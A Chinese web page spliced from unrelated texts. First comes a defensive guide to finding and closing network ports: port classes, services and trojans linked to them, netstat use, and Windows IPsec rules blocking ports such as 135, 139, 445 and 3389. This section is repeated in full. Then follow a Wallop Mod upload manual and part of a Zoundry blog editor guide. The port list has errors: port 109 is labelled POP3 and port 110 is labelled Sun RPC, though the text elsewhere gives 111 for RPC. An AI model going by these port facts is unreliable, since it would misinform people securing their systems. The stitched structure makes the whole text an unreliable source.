怎样查找打开的端口和如何关闭端口

怎样查找打开的端口和如何关闭端口

计算机"端口"是英文port的义译，可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口，如：USB端口、串行端口等。软件领域的端口是一种抽象的软件结构，包括一些数据结构和I/O（基本输入输出）缓冲区。
按端口号可分为3大类：
（1）公认端口（Well Known Ports）：从0到1023，它们紧密绑定（binding）于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上总是HTTP通讯。
（2）注册端口（Registered Ports）：从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其它目的。例如：许多系统处理动态端口从1024左右开始。
（3）动态和/或私有端口（Dynamic and/or Private Ports）：从49152到65535。理论上，不应为服务分配这些端口。实际上，机器通常从1024起分配动态端口。但也有例外：SUN的RPC端口从32768开始。
一些端口常常会被黑客利用，还会被一些木马病毒利用，对计算机系统进行攻击，以下是计算机端口的介绍以及防止被黑客攻击的简要办法。
8080端口
端口说明：8080端口同80端口，是被用于WWW代理服务的，可以实现网页浏览，经常在访问某个网站或使用代理服务器的时候，会加上":8080"端口号，比如http://www.cce.com.cn:8080。
端口漏洞：8080端口可以被各种病毒程序所利用，比如Brown Orifice（BrO）特洛伊木马病毒可以利用8080端口完全遥控被感染的计算机。另外，RemoConChubo，RingZero木马也可以利用该端口进行攻击。
操作建议：一般我们是使用80端口进行网页浏览的，为了避免病毒的攻击，我们可以关闭该端口。
端口：21
服务：FTP
说明：FTP服务器所开放的端口，用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。
端口：22
服务：Ssh
说明：PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点，如果配置成特定的模式，许多使用RSAREF库的版本就会有不少的漏洞存在。
端口：23
服务：Telnet
说明：远程登录，入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术，入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。
端口：25
服务：SMTP
说明：SMTP服务器所开放的端口，用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭，他们需要连接到高带宽的E-MAIL服务器上，将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。
端口：80
服务：HTTP
说明：用于网页浏览。木马Executor开放此端口。
端口：102
服务：Message transfer agent(MTA)-X.400 over TCP/IP
说明：消息传输代理。
端口：109
服务：Post Office Protocol -Version3
说明：POP3服务器开放此端口，用于接收邮件，客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个，这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。
端口：110
服务：SUN公司的RPC服务所有端口
说明：常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等
端口：119
服务：Network News Transfer Protocol
说明：NEWS新闻组传输协议，承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制，只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送SPAM。
端口：135
服务：Location Service
说明：Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时，它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗？什么版本？还有些DOS攻击直接针对这个端口。
端口：137、138、139
服务：NETBIOS Name Service
说明：其中137、138是UDP端口，当通过网上邻居传输文件时用这个端口。而139端口：通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。
端口：161
服务：SNMP
说明：SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中，通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络
--------------------------------------
在Windows 2000/XP/Server 2003中要查看端口，可以使用NETSTAT命令：
"开始">"运行">"cmd"，打开命令提示符窗口。在命令提示符状态下键入"NETSTAT -a -n"，按下回车键后就可以看到以数字形式显示的TCP和UDP连接的端口号及状态.
命令格式：Netstat －a －e －n －o －s
－a 表示显示所有活动的TCP连接以及计算机监听的TCP和UDP端口。
－e 表示显示以太网发送和接收的字节数、数据包数等。
－n 表示只以数字形式显示所有活动的TCP连接的地址和端口号。
－o 表示显示活动的TCP连接并包括每个连接的进程ID（PID）。
－s 表示按协议显示各种连接的统计信息，包括端口号。
关闭端口
比如在Windows 2000/XP中关闭SMTP服务的25端口，可以这样做：首先打开"控制面板"，双击"管理工具"，再双击"服务"。接着在打开的服务窗口中找到并双击"Simple Mail Transfer Protocol （SMTP）"服务，单击"停止"按钮来停止该服务，然后在"启动类型"中选择"已禁用"，最后单击"确定"按钮即可。这样，关闭了SMTP服务就相当于关闭了对应的端口。
开启端口
如果要开启该端口只要先在"启动类型"选择"自动"，单击"确定"按钮，再打开该服务，在"服务状态"中单击"启动"按钮即可启用该端口，最后，单击"确定"按钮即可。
另外在网络连接属性中，选择"TCP/IP协议"属性，打开高级TCP/IP设置，在选项的那个页面打开TCP/IP筛选，在出现的设置窗口中也可以根据实现情况设置端口的打开和关闭，默认是未启用TCP/IP筛选。
计算机"端口"是英文port的义译，可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口，如：USB端口、串行端口等。软件领域的端口一般指网络>端口，是一种抽象的软件结构，包括一些数据结构和I/O（基本输入输出）缓冲区。
按端口号可分为3大类：
（1）公认端口（Well Known Ports）：从0到1023，它们紧密绑定（binding）于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上总是HTTP通讯。
（2）注册端口（Registered Ports）：从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其它目的。例如：许多系统处理动态端口从1024左右开始。
（3）动态和/或私有端口（Dynamic and/or Private Ports）：从49152到65535。理论上，不应为服务分配这些端口。实际上，机器通常从1024起分配动态端口。但也有例外：SUN的RPC端口从32768开始。
一些端口常常会被黑客利用，还会被一些木马病毒利用，对计算机系统进行攻击，以下是计算机端口的介绍以及防止被黑客攻击的简要办法。
8080端口
端口说明：8080端口同80端口，是被用于WWW代理服务的，可以实现网页浏览，经常在访问某个网站或使用代理服务器的时候，会加上":8080"端口号，比如http://www.cce.com.cn:8080。
端口漏洞：8080端口可以被各种病毒程序所利用，比如Brown Orifice（BrO）特洛伊木马病毒可以利用8080端口完全遥控被感染的计算机。另外，RemoConChubo，RingZero木马也可以利用该端口进行攻击。
操作建议：一般我们是使用80端口进行网页浏览的，为了避免病毒的攻击，我们可以关闭该端口。
端口：21
服务：FTP
说明：FTP服务器所开放的端口，用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。
端口：22
服务：Ssh
说明：PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点，如果配置成特定的模式，许多使用RSAREF库的版本就会有不少的漏洞存在。
端口：23
服务：Telnet
说明：远程登录，入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术，入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。
端口：25
服务：SMTP
说明：SMTP服务器所开放的端口，用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭，他们需要连接到高带宽的E-MAIL服务器上，将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。
端口：80
服务：HTTP
说明：用于网页浏览。木马Executor开放此端口。
端口：102
服务：Message transfer agent(MTA)-X.400 over TCP/IP
说明：消息传输代理。
端口：109
服务：Post Office Protocol -Version3
说明：POP3服务器开放此端口，用于接收邮件，客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个，这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。
端口：110
服务：SUN公司的RPC服务所有端口
说明：常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等
端口：119
服务：Network News Transfer Protocol
说明：NEWS新闻组传输协议，承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制，只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送SPAM。
端口：135
服务：Location Service
说明：Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时，它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗？什么版本？还有些DOS攻击直接针对这个端口。
端口：137、138、139
服务：NETBIOS Name Service
说明：其中137、138是UDP端口，当通过网上邻居传输文件时用这个端口。而139端口：通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。
端口：161
服务：SNMP
说明：SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中，通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络
--------------------------------------
在Windows 2000/XP/Server 2003中要查看端口，可以使用NETSTAT命令：
"开始">"运行">"cmd"，打开命令提示符窗口。在命令提示符状态下键入"NETSTAT -a -n"，按下回车键后就可以看到以数字形式显示的TCP和UDP连接的端口号及状态.
命令格式：Netstat －a －e －n －o －s
－a 表示显示所有活动的TCP连接以及计算机监听的TCP和UDP端口。
－e 表示显示以太网发送和接收的字节数、数据包数等。
－n 表示只以数字形式显示所有活动的TCP连接的地址和端口号。
－o 表示显示活动的TCP连接并包括每个连接的进程ID（PID）。
－s 表示按协议显示各种连接的统计信息，包括端口号。
关闭端口
比如在Windows 2000/XP中关闭SMTP服务的25端口，可以这样做：首先打开"控制面板"，双击"管理工具"，再双击"服务"。接着在打开的服务窗口中找到并双击"Simple Mail Transfer Protocol （SMTP）"服务，单击"停止"按钮来停止该服务，然后在"启动类型"中选择"已禁用"，最后单击"确定"按钮即可。这样，关闭了SMTP服务就相当于关闭了对应的端口。
开启端口
如果要开启该端口只要先在"启动类型"选择"自动"，单击"确定"按钮，再打开该服务，在"服务状态"中单击"启动"按钮即可启用该端口，最后，单击"确定"按钮即可。
另外在网络连接属性中，选择"TCP/IP协议"属性，打开高级TCP/IP设置，在选项的那个页面打开TCP/IP筛选，在出现的设置窗口中也可以根据实现情况设置端口的打开和关闭，默认是未启用TCP/IP筛选。

默认情况下，windows有很多端口是开放的，在你上网的时候，网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁，应该封闭这些端口，主要有：tcp 135、139、445、593、1025 端口和 udp 135、137、138、445 端口，一些流行病毒的后门端口（如 tcp 2745、3127、6129 端口），以及远程服务访问端口3389。下面介绍如何在winxp/2000/2003下关闭这些网络端口： 　　第一步，点击"开始"菜单/设置/控制面板/管理工具，双击打开"本地安全策略"，选中"ip 安全策略，在本地计算机"，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择"创建 ip 安全策略"（如右图），于是弹出一个向导。在向导中点击"下一步"按钮，为新的安全策略命名；再按"下一步"，则显示"安全通信请求"画面，在画面上把"激活默认相应规则"左边的钩去掉，点击"完成"按钮就创建了一个新的ip 安全策略。 　　第二步，右击该ip安全策略，在"属性"对话框中，把"使用添加向导"左边的钩去掉，然后单击"添加"按钮添加新的规则，随后弹出"新规则属性"对话框，在画面上点击"添加"按钮，弹出ip筛选器列表窗口；在列表中，首先把"使用添加向导"左边的钩去掉，然后再点击右边的"添加"按钮添加新的筛选器。 　　第三步，进入"筛选器属性"对话框，首先看到的是寻址，源地址选"任何 ip 地址"，目标地址选"我的 ip 地址"；点击"协议"选项卡，在"选择协议类型"的下拉列表中选择"tcp"，然后在"到此端口"下的文本框中输入"135"，点击"确定"按钮（如左图），这样就添加了一个屏蔽 tcp 135（rpc）端口的筛选器，它可以防止外界通过135端口连上你的电脑。 　　点击"确定"后回到筛选器列表的对话框，可以看到已经添加了一条策略，重复以上步骤继续添加 tcp 137、139、445、593 端口和 udp 135、139、445 端口，为它们建立相应的筛选器。 　　重复以上步骤添加tcp 1025、2745、3127、6129、3389 端口的屏蔽策略，建立好上述端口的筛选器，最后点击"确定"按钮。 　　第四步，在"新规则属性"对话框中，选择"新 ip 筛选器列表"，然后点击其左边的圆圈上加一个点，表示已经激活，最后点击"筛选器操作"选项卡。在"筛选器操作"选项卡中，把"使用添加向导"左边的钩去掉，点击"添加"按钮，添加"阻止"操作（右图）：在"新筛选器操作属性"的"安全措施"选项卡中，选择"阻止"，然后点击"确定"按钮。 　　第五步、进入"新规则属性"对话框，点击"新筛选器操作"，其左边的圆圈会加了一个点，表示已经激活，点击"关闭"按钮，关闭对话框；最后回到"新ip安全策略属性"对话框，在"新的ip筛选器列表"左边打钩，按"确定"按钮关闭对话框。在"本地安全策略"窗口，用鼠标右击新添加的 ip 安全策略，然后选择"指派"。 　　于是重新启动后，电脑中上述网络端口就被关闭了，病毒和黑客再也不能连上这些端口，从而保护了你的电脑。

Wallop的Mod的上传和管

下面讲述了如何上传和管理你的Wallop的Mod。上传.swf不像上传picture或mp3文件，你必须进行一些选项设置来让swf将会在Wallop中如何显示 。你可以在上传时设置这些选项，但你也可以先上传swf文件，然后通过'Manage Your Mods'页来修改这些选项。

创建一个新的Mod

上传你的Mod的swf文件到Wallop，可以使用如下链接：

• 
  

  http://devsandbox.wallop.com/uploadswf.aspx - use this link for testing/sandbox site

  
  


• 
  

  http://members.wallop.com/uploadswf.aspx - use this link for the production/beta site

  
  

本章主要讲解上传swf文件到Wallop的页面上的各个选项说明。

NOTE: Definition of Mod and Instances - Mod指的是上传到Wallop里的.swf文件。这个.swf文件存储在你的市场院帐号里。Mod对象(instance)指的是一个实际运行的Mod，你在你的Wallop帐号或其它人的帐号中中看到的。

Flash .swf to Load (required) 你要上传的.swf文件(必添)

这里用来设置你要上传的.swf文件的目录。点击Browse按钮去选择你机子上要上传的.swf文件。

Title of Mod (required)Mod的名字(必添)

"Title of Mod"是你给你的Mod起的名字。例如，如果我上传了一个.swf文件，这个swf显示的是一个幻灯片(slideshow)，我会给这个Mod起名为"Slideshow"。你的每个Mods必须有唯一的名字。

Static Thumbnail Image (required)静态预览图像(必添)

在Wallop的某些界面中，Mods有时会以一个静态图片显示，而不是显示为动态的swf。这里是用来选择一个静态图片，这个图片将会当作某些界面中你的Mods的静态预览图。使用Browse按钮去选择你机子上的图像文件。

Rich Thumbnail .swf

This is where you choose another .swf file to use as a rich thumbnail for your Mod. Click the Browse button to choose a file on your local file system. These .swf files cannot use ActionScript.

Initial Instance初始化对象(instance)

你的Mod的实例(instance)就是实际加载到Wallop用户进程中的运行的swf对象。每个使用你Mod的用户，不管Mod从那里加载，都是在观看你这个swf实例。

• Title标题
  

  如果你选择了"Create"复选框，这个输入文字框会让你命名你Mod实例的名字。如果你将这个文本框为空，你的Mod实例名将会为"Instance of <ModTitle>"。这里<ModeTitle>中的ModTitle将是你前面设置的表格中的Mod名字。
  

  
  


• Create (default: checked)(默认：选择)
  

  This checkbox indicates that you would like to create an instance as well as a Mod on initial upload. If you choose this option, after you upload your .swf, return to your Wallop homepage and you'll see your .swf in two places. An running version of your Mod (instance) will be visible in your blog, and the "SWFs" tab will display thumbnails of each Mod you have created. If you uncheck this box you will not see your .swf file in Wallop but it will be available via the Mod Management page (details below).

  
  

Full screen on click (default: unchecked)点击时全屏(默认:不选择)

如果你选择这个选项，你的Mod对象被点击时会将一个变成全屏。在这个全屏窗口的右上角有一个'X'按钮，用来让用户退出全屏模式。

Initial State

当Wallop用户首次观看swf实例时，这里有三种方法观看。你可以选择一个方式做为swf的初始状态。

• Start Automatically (default)
  

  当用户访问你的Mod实例时，它会自动运行。

  
  


• Click static thumbnail to start点击预缩图开始
  

  When a user accesses an instance of your Mod, they will see a static image (which you can upload using this form). When the user clicks the image, the .swf instance will start. Until the thumbnail is clicked instances of your Mod will not start - they will not load in the background.当用户看到你的Mod时，它将是一个静态略缩图(通过这个表单上传的图像)。当用户点击静态略缩图时，这个.swf实例将会自动运行。Mod不会开始，只有你点击它时才开始在你的屏幕上运行。

  
  


• Click rich (.swf) thumbnail to start
  

  When a user accesses an instance of your Mod they will see a small .swf file (which you can upload using this form). This .swf file functions as a thumbnail. When the user clicks it the instance will start. Rich thumbnails should not contain any ActionScript. Until the thumbnail is clicked, instances of your .swf Mod will not start - they will not load in the background.

  
  

Render State

There are three Render States your Mod can have. This option determines where instances of your Mod are rendered within Wallop.你的Mod有3种显示方式。在Wallop中，这个选项用来设置你的Mod使用那一种那种显示方式。

• Bounded (默认)
  

  Instances of your Mod will be bounded within a region, which is the layout that holds the instance. Bounded .swfs look like other Wallop objects-- pictures, for example-- in terms of the screen territory they occupy.你的Mod实例会拥有一个边界框，你的Mod显示在这个框中。当它们出现在屏幕上时，框起来的.swf看起来如同其他Wallop对象(例如,图片)一样。

  
  


• Fullscreen
  

  只要运行，你的Mod实例就会布满整个Wallop屏幕。在右上角会有一个'X'按钮，它用来关闭你的Mod。
  

  
  


• Free
  

  你的Mod实例将会充许出现在屏幕的任何位置。Free roaming Mods will appear on top of Wallop UI elements.

  
  

Scaling mode

There are two choices for the default handling of scaling of your Mod.

• Scale handled by Wallop (default)
  

  This option will allow Wallop to scale Mod instances based on the size and configuration of the Wallop client. While the instances retain the same logical dimensions that the .swf was originally compiled with, they can be scaled depending on the size and configuration of the Wallop client, plus the space allocated to the instance itself.这个选项表示你可以根据Wallop客户端的大小来改变Mod实例的大小。

  
  


• Scaling handled by .swf
  

  Instances of your Mod will be rendered at the size specified in the .swf file itself. Instances of the Mod will be rendered at a 1:1 scale, but this may not have the same logical dimensions the Mod was compiled with.你的Mod实例将会以.swf文件中指定的尺寸进行显示。

  
  

Permission Mode

This option only applies to instances of Mods which call the Wallop APIs (WAPI). Currently only the Per-instance data writable option is implemented.

• Per-instance data writable (default)
  

  Instances of Mods with this option can only store data associated with the instance, using the WAPI calls getInstanceData and setInstanceData.

  
  


• Per-user data accessible
  

  Instances of Mods with this option can only store data associated with the user, using the WAPI functions getUserData and setUserData.

  
  

UI Implementer

This option controls whether instances of your Mod will get UI events through normal Flash mechanisms, or through Wallop.这个选项用来指定你的Mod实例的UI事件信息是从正常的Flash消息方式，还是从Wallop中得到。

• Mod (default)
  

  设置了这个选项的Mod,将如同正常的Flash文件那样接收事件。

  
  


• Wallop
  

  Instances of Mods with this option must register with Wallop to receive UI events from the Wallop client itself. Choosing this option will make elements of Wallop's UI, like halo menus, work better. This option is necessary for some WAPI events such as receiving drag/drop events.

  
  

User Scaling

用来设定用户是否能够改变Mod实例的大小。

• Allow (default)
  

  充许用户改变Mod的大小。

  
  


• Do not allow
  

  不充许用户改变Mod的大小。

  
  

Background

这个选项用来指定Mod实例的对象的背景颜色，色彩可以为一个指定颜色(.fla中指定的背景色)或是透明。

• Solid (默认设置)


• Transparent透明

Submit Button(提交按钮)

提交按钮将会把你的swf文件和相关参数上传到Wallop网站。当文件被上传和处理后，会在页面上方显示一个成功或失败的信息。

Manage Your Mods

你可以通过下面的链接来修改你的Mod的swf文件，以及Mod的参数：

• 
  

  http://devsandbox.wallop.com/manageswf.aspx - 测试站点(devsandbox.wallop.com)专用

  
  


• 
  

  注意：一旦Mods上传到产品站点(如Modder)，那么Mods将不能再被改变。

  
  

这个页面是让你用来管理你自己创建的Mods的管理页面。此页例出了你所有上传的Mods例表，显示了Mods的名字、创建日期和时间。你可以通过点击选择按钮，并点击'Modify Mod'按钮来修改你的任何Mod。

If you click 'Modify Mod' you will be taken to the 'Create Your Mod' page where you'll see the previous settings for the Mod you selected. Edit any fields and save your changes by clicking "Submit." You can also use the Modify function to upload new .swf files and thumbnails to overwrite existing files.

If you want to create a new instance of a Mod without changing its settings, enter a new instance name in the field (at the bottom right of the form) and click "Create Instance". This creates a new instance of the Mod in your blog. You can also do this by dragging a Mod from your "SWFs" tab into a blog entry.

Zoundry 网志编辑器指南

Zoundry 网志编辑器™ 用户指南

感谢您下载 Zoundry 网志编辑器。这份指南将指引您通过安装过程，并帮助您了解与使用此网志编辑器的许多新特性。这份指南还处在完善过程中，我们将会继续更新它。如果您有更多疑问，请访问本站的 获取支持 页面。

1. 安装您的网志编辑器

设定您的 Blog 账户
配置您的 Zoundry 标识
配置您的媒体库

2. 使用您的网志编辑器 - 介绍编辑区

撰写并控制文字格式
如何撤销所做的更改
选择一个目标 Blog
选择目标分类
选择标签词和标签空间
输入一个引用地址 (Trackback)
选择文章发布的日期和时间
保存一篇网志
打开一篇事先保存的网志
HTML 格式控制
移除 HTML 格式
粘贴 HTML 源代码
键盘快捷键
拼写检查
WordPress 和 MovableType 专用的扩展条目标记

3. 使用您的网志编辑器 - 图像管理

嵌入图片
移动图片
编辑图片
对齐图片

4. 使用您的网志编辑器 - 超链接

创建超链接
创建产品链接(联属链接)
链接到标签空间，参考资料网站以及搜索引擎
链接到先前发布的网志
编辑链接
移除链接

5. 使用您的网志编辑器 - 音频内容与播客

嵌入播客制作需要的音频文件

6. 使用您的网志编辑器 - 效果预览

使用模版预览

7. 使用您的网志编辑器 - 远程发布

远程发布
远程发布到多个 Blog

8. 使用您的网志编辑器 - 侧边栏

侧边栏是什么
Blog 条目列表

9. 使用您的网志编辑器 - 下载近期的网志

下载近期的网志

10. 网志编辑器与 Zoundry 工具条的配合使用

就此内容撰写网志

11. 使用您的网志编辑器 - 高级 XHTML 编辑功能

XHTML 编辑器
在 XHTML 模式下使用工具栏按钮
自动完成
清理 HTML 代码
合格性验证

12. 本地化 - 协助我们将网志编辑器的界面翻译为其它语言

翻译工具

13. 技术信息

备份您的数据
命令行参数
在网志编辑器中如何控制字体

1. 安装您的网志编辑器

设定您的 Blog 账户

首先将侧边栏转换为导航模式(可以通过选择菜单中的 查看->导航模式 打开此模式)，然后点击 Blog 帐号这个链接；或者在工具菜单下选择 Blog 帐号设置这一项。此后点击位于对话框中部的 "新建帐号" 按钮。

这样就打开了新建 Blog 帐号向导。新建 Blog 帐号向导支持真正简单的发现机制(RSD)，此机制有助于确定您的 Blog 服务所对应的 API 设置。只要输入您的 Blog 地址(如果事先知道这个地址)，Zoundry 就能够发现相应的设置。当您点按下一步按钮时，向导将在 RSD 的基础上尝试获取对应的 Blog 设置。当您不能提供 Blog 地址或者您的 Blog 服务不支持 RSD 时，您将需要手工配置这些设置(详情参阅本节末尾所附的表格)

第一栏是账户名，这只是一个可以随意选择的标签，为的是以后您可以通过它识别此账户。下一步是选择账户类型并填写您的 Blog 帐号的用户名与密码，以及对应的 XML-RPC 地址或 Atom 地址，如果您所选用的账户类型需要这个地址的话。

在多数情况下，账户类型和 API 地址都能够借助您 Blog 服务器上的 RSD 文档被 Zoundry 发现。如果 RSD 机制不成功或者您认为它得到的结果不正确，您将需要手工配置这些选项。要进行手工配置，先将"RSD 自动发现"复选框置空，再从下方的帐号类型列表中选取合适的帐号 API 类型。请参考下面的表格以确定您的 Blog 服务/服务器对应的账户类型和端点地址。

Blog 平台	账户类型	采用何种 API	API 地址及说明信息
Blogger.com	Blogger	Atom	不需要指定端点地址，不支持文件和分类上传(图片储存需要 FTP 服务器)。
MSN Spaces	MSN Spaces	XML-RPC	无需指定端点地址，不支持文件上传(图片存储需要 FTP服务器)。在 MSN Spaces 中一篇网志只允许分配一个分类，且不能将网志发布日期设置为未来的某个时间，因为 MSN Spaces 总是使用当前的日期和时间作为发布时间。
Typepad.com	Typepad	Atom	无需指定端点地址，支持文件上传
WordPress	WordPress	XML-RPC	端点地址即 xmlrpc.php 的绝对地址，例如 http://example.com/xmlrpc.php 。支持文件上传(需要在 WordPress 控制面板中启用文件上传功能)。
Movable Type 3.x	SixApart Movable Type	XML-RPC	端点地址即 mt-xmlrpc.cgi 的绝对地址，例如 http://www.example.com/blog/mt-xmlrpc.cgi 。如果您使用的是支持 xml-rpc 的 Typepad 服务器，应将地址写为 http://www.typepad.com/t/api 。只有 Movable Type 3.x 的服务器才支持文件上传。 请 阅读这段 关于 MT 3.2 服务器的 API 验证机制的说明。
BlogHarbor	BlogHarbor	XML-RPC (Custom MovableType)	使用这个地址 https://www.blogware.com/xmlrpc.cgi 。支持文件上传，但同一文件不可上传两次(不允许覆盖操作)。另需注意，Blogharbor 服务器不允许以下划线开头的文件名。
Drupal v4.6	Drupal	XML-RPC (Custom MovableType)	端点地址即 xmlrpc.php 的绝对地址，例如 http://example.com/xmlrpc.php 。支持文件上传。
Nucleus v3.2	Nucleus	XML-RPC (Custom MovableType)	端点地址即 xmlrpc API php 脚本文件的绝对地址，例如 http://example.com/nucleus/xmlrpc/server.php 。 注意：在 Nucleus v3.2 服务器的 xml-rpc 实现中，上传文件功能无法正常工作。这个问题已经在 Nucleus v3.22.中修复。
LiveJournal.com	LiveJournal	L.J. XML-RPC	端点地址为 http://www.livejournal.com/interface/xmlrpc 。 同服务器文件上传仅限于付费的 LiveJournal 账户，就是说您必须拥有 LJ Scrapbook 的访问权。 注意：网志编辑器支持某些 LJ 的特别功能，例如心情状态。请参考下面的关于网志编辑器与 LJ 联动的说明
LifeType (pLog)	LifeType	XML-RPC (Custom Metaweblog)	端点地址即 xmlrpc.php 的绝对地址，例如 http://your-plog-installation-dir/xmlrpc.php 。支持文件上传。
LivingDot (Movable Type)	SixApart Movable Type	XML-RPC	端点地址即 mt-xmlrpc.cgi 的绝对地址。举例而言，如果您的 LivingDot MT 站点地址为 http://www.example.com ，则其 XML-RPC 端点地址就是 http://www.example.com/cgi-bin/mt/mt-xmlrpc.cgi 。 LivingDot/MovableType 支持文件上传。请 阅读这段 关于 MT 3.2 服务器的 API 验证机制的说明。
LivingDot (WordPress)	WordPress	XML-RPC	端点地址即 xmlrpc.php 的绝对地址。举例而言，如果您的 LivingDot WordPress 站点地址为 http://www.example.com ，则其 XML-RPC 端点地址为 http://www.example.com/xmlrpc.php 。 支持文件上传。(需要在 LD/WordPress 控制面板中启用文件上传功能)

< a>

MSN Spaces 用户：
关于如何设定网志编辑器以便发布文章到您的 MSN Space，此处有一些特殊的说明。

首先，您需要打开您的 MSN Space 的电子邮件发布功能。登录到您的 MSN Space 并转到 设置>电子邮件发布 这个选项页，并按照页面上的提示信息为您的共享空间输入一个机密字。

在新建 Blog 帐号向导中，输入下面的信息：
1. 帐户名: 任何您希望显示在网志编辑器侧边栏中的名称，此名称仅用来标识您的 Space 账户
2. 账号类型: MSNSpaces
3. 帐号名: 您的 MSN Space 的名称，通常可以在您的 MSN Space 地址的末尾找到。例如这个地址 http://spaces.msn.com/members/(此处为您的帐号名称)/
4. 帐号密码: 您在电子邮件发布设置页面输入的机密字

LiveJournal 用户：
如果您拥有付费的 LiveJournal 账户，您可以选择使用该 Blog 的文件上传功能以便上传图片到您的 Blog 。在这种情况下，图片将被上传到您的 Live Journal Scrapbook (fotobilder)，它位于一个名叫 'Blog Writer Media' 的图片库之下。需要注意的是上传的图片将被标记为公共图片-即对所有人可见。如果您使用免费账户，可以选择用一台 FTP 服务器实现文件上传。

因为网志编辑器被设计为一个通用的，支持多种 Blog 服务程序的文章撰写和发布工具，它采用下面的"混合"方式支持 LiveJournal。
1. LJ 的 '心情状态' 被当作网志编辑器的分类处理(您只能选择一种分类/心情状态)。
2. LJ 的私有文章将被显示为 '草稿'。如果您通过网志编辑器将您的一篇文章发布为草稿，则它在 LJ 中就会成为私有文章。
3. LJ 的标签词将出现在一个新的专属 LiveJournal 的标签空间中。
4. 当发布文章到 LJ 时，网志编辑器将会把所有标签空间中的任意标签词合在一起分配给 LJ。举例而言，如果您有两个 technorati 的标签，两个 del.icio.us 的标签和一个 LJ 的标签，则文章发布时所有的五个标签都将被做为 LJ 的标签处理。您可以通过选择 LJ 的标签空间来分配特定于 LJ 的标签。

Custom Atom 用户: 如果您的 Blog 服务器支持 Atom API 而您也希望使用它，请选择 Custom Atom 作为账号类型。 下面是一个使用 Movable Type 的 Atom API 的例子。

帐号名: 您的 Movable Type 用户名
帐号密码: 您的 Atom 验证标识，可在您的 Movable Type 个人配置中找到
Atom 地址: http://www.yourhost.com/path_to_mt_cgi-bin/mt-atom.cgi/weblog ，只要将此地址中标记为"host" 与 "path_to_mt_cgi-bin" 的部分用您的主机域名和 MT 的 cgi-bin 路径代替即可。 .

示例:
1. http://www.yourhost.com/cgi-bin/mt-atom.cgi/weblog
2. http://www.yourhost.com/cgi-bin/mt/mt-atom.cgi/weblog
注意: 在第二个例子中，您的 MT cgi-bin 路径为 /cgi-bin/mt。某些主机服务商会采用这种格式，请向您的网站管理员查询以了解更多情况。

如果您有任何疑问，请发电子邮件到 support@zoundry.com。

点击下一步以进入向导的下一步，这时网志编辑器将寻找位于此服务器上的所有 Blog。

在确认页面中，选中那些您希望下载近期文章的 Blog。

